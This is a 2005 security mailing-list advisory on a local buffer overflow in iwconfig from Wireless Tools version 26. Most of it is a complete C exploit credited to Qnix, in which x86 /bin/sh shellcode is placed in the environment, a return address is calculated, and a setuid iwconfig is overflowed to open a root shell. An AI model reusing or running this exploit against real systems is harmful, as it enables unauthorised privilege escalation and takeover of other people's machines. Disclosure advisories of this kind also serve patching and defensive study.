[EXPL] Wireless Tools Local Buffer Overflow (Iwconfig, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/15/05

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Date: 15 Sep 2005 11:56:31 +0200

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      Wireless Tools Local Buffer Overflow (Iwconfig, Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    "The <http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html>
    Wireless Tools (WT) is a set of tools allowing to manipulate the Wireless
    Extensions."

    A vulnerability in one of the Wireless Tools, iwconfig, allows local
    attackers to overflow an internal buffer in the product and cause it to
    execute arbitrary code.

    DETAILS

    Vulnerable Systems:
     * Wireless Tools version 26

    Exploit:
    // (if the iwconfig executable is setuid) /str0ke

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>

    /* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 */
    char shellcode[]=
                     "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
                     "\x73\x68\x68\x2f\x62\x69\x6e\x89"
                     "\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
                     "\x0b\x51\x52\x55\x89\xe5\x0f\x34"
                     "\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
                     "\x55\x89\xe5\x0f\x34";

    int main(int argc,char **argv){
      char buf[96];
      long esp, *addr_ptr;
      unsigned long ret;
      int i, offset;
      unsigned long sp(void)
      { __asm__("movl %esp, %eax");}
      char *prog[]={argv[1],buf,NULL};
      char *env[]={"3v1lsh3ll0=",shellcode,NULL};

      if (argc >= 2) {
        printf("\n*********************************************\n");
        printf(" iwconfig Version 26 Localroot Exploit \n");
        printf(" Coded by Qnix[at]bsdmail[dot]org \n");
        printf("*********************************************\n\n");
      } else {
        printf("\n*********************************************\n");
        printf(" iwconfig Version 26 Localroot Exploit \n");
        printf(" Coded by Qnix[at]bsdmail[dot]org \n");
        printf("*********************************************\n\n");
        printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g
    /sbin/iwconfig or /usr/sbin/iwconfig>\n\n");
        return 1;
        }

      offset = 0;
      esp = sp();
      ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
      printf("[~] S-p.ESP : 0x%x\n", esp);
      printf("[~] O-F.ESP : 0x%x\n", offset);
      printf("[~] Return Addr : 0x%x\n\n", ret);

      memset(buf,0x41,sizeof(buf));
      memcpy(&buf[92],&ret,4);

      execve(prog[0],prog,env);

     }

    /* EoF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:qnix@bsdmail.org> Qnix.

    ========================================

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